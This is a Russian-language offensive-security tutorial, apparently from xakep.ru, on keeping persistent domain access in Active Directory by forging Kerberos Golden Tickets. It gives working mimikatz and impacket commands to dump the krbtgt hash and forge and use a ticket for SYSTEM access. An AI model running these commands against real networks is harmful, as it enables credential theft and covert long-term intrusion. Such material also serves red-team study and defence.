Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен

Представь, что мы скомпрометировали привилегированные учетные записи, используя разные техники повышения привилегий, распространились по сети, скрылись от средств обнаружения, но неожиданно потеряли контроль над доменом, потому что администратор по какой-то причине сменил пароль! В сегодняшней статье мы разберем способы сохранить административный доступ, даже если администратор сменил пароли или разрешения.

 

Другие статьи про атаки на Active Directory

  • Разведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий
  • Атаки на Active Directory. Разбираем актуальные методы повышения привилегий
  • Боковое перемещение в Active Directory. Разбираем техники Lateral Movement при атаке на домен
  • Защита от детекта в Active Directory. Уклоняемся от обнаружения при атаке на домен
  • Защита от детекта в Active Directory. Как обмануть средства обнаружения при атаке на домен
  • Сбор учеток в Active Directory. Как искать критически важные данные при атаке на домен
  •  

    Kerberos Golden Tickets

    Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt не будет изменен при тех же условиях, при которых может быть изменен пароль администратора.

    Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.

    Схема аутентификации Kerberos c Golden Ticket

    Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt). А так как TGT зашифрован хешем пароля krbtgt и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный. Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:

  • SPN домена.
  • SID домена.
  • NTLM-хеш доменной учетной записи krbtgt.
  • Имя пользователя, под которым будет работать оператор (даже если такого пользователя не существует).
  • Так как имя пользователя можно использовать любое, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain.

    SID и имя домена

    Теперь нужно получить NTLM-хеш учетной записи krbtgt. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.

    mimikatz # lsadump::dcsync /user:krbtgt
    

    Получаем хеши с помощью mimikatz, используя атаку DCSync

    mimikatz # privilege::debug
    mimikatz # lsadump::lsa /inject /name:krbtgt
    

    Получаем хеши с помощью mimikatz, используя базу SAM

    mimikatz # sekurlsa::krbtgt
    

    Получаем хеши с помощью mimikatz, используя модуль sekurlsa

    Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter.

    impacket-secretsdump domain.dom/[email protected]
    

    Получение хешей с помощью secretsdump

    Существует два варианта использования meterpreter: при помощи hashdump и dcsync_ntlm (для второго нужно загрузить модуль kiwi).

    Получение хешей с помощью meterpreter hashdump

    Получение хешей с помощью meterpreter dcsync_ntlm

    С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer и с использованием meterpreter.

     

    Ticketer

    Первым делом следует создать билет. Для этого используем скрипт ticketer из пакета impacket (напомню, что имя пользователя можно выдумать любое).

    impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser
    

    Создание Golden Ticket с помощью ticketer

    В текущей директории создан билет anyuser.ccache. Экспортируем его.

    export KRB5CCNAME=anyuser.ccache
    

    Теперь подключимся с помощью psexec из того же пакета impacket.

    python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]
    

    Подключаемся к хосту, используя golden ticket

    Получаем удаленное управление с правами SYSTEM.

     

    Mimikatz

    Создадим поддельный золотой билет с помощью mimikatz.

    Создание golden ticket с помощью mimikatz

    Если в данной команде не использовать параметр /ptt, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти. Давай проверим это, вызвав командную строку.

    mimikatz # misc::cmd
    

    Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket.

    Создание Golden Ticket с помощью mimikatz

     

    Meterpreter

    Для работы с meterpreter будем использовать модуль kiwi. Первым делом создадим Golden Ticket.

    Создание Golden Ticket с помощью meterpreter

    Теперь применим его.

    Применение Golden Ticket с помощью meterpreter

    И проверим, что билет успешно загружен.

    Загруженный Golden Ticket

    Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.

    Источник: xakep.ru

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *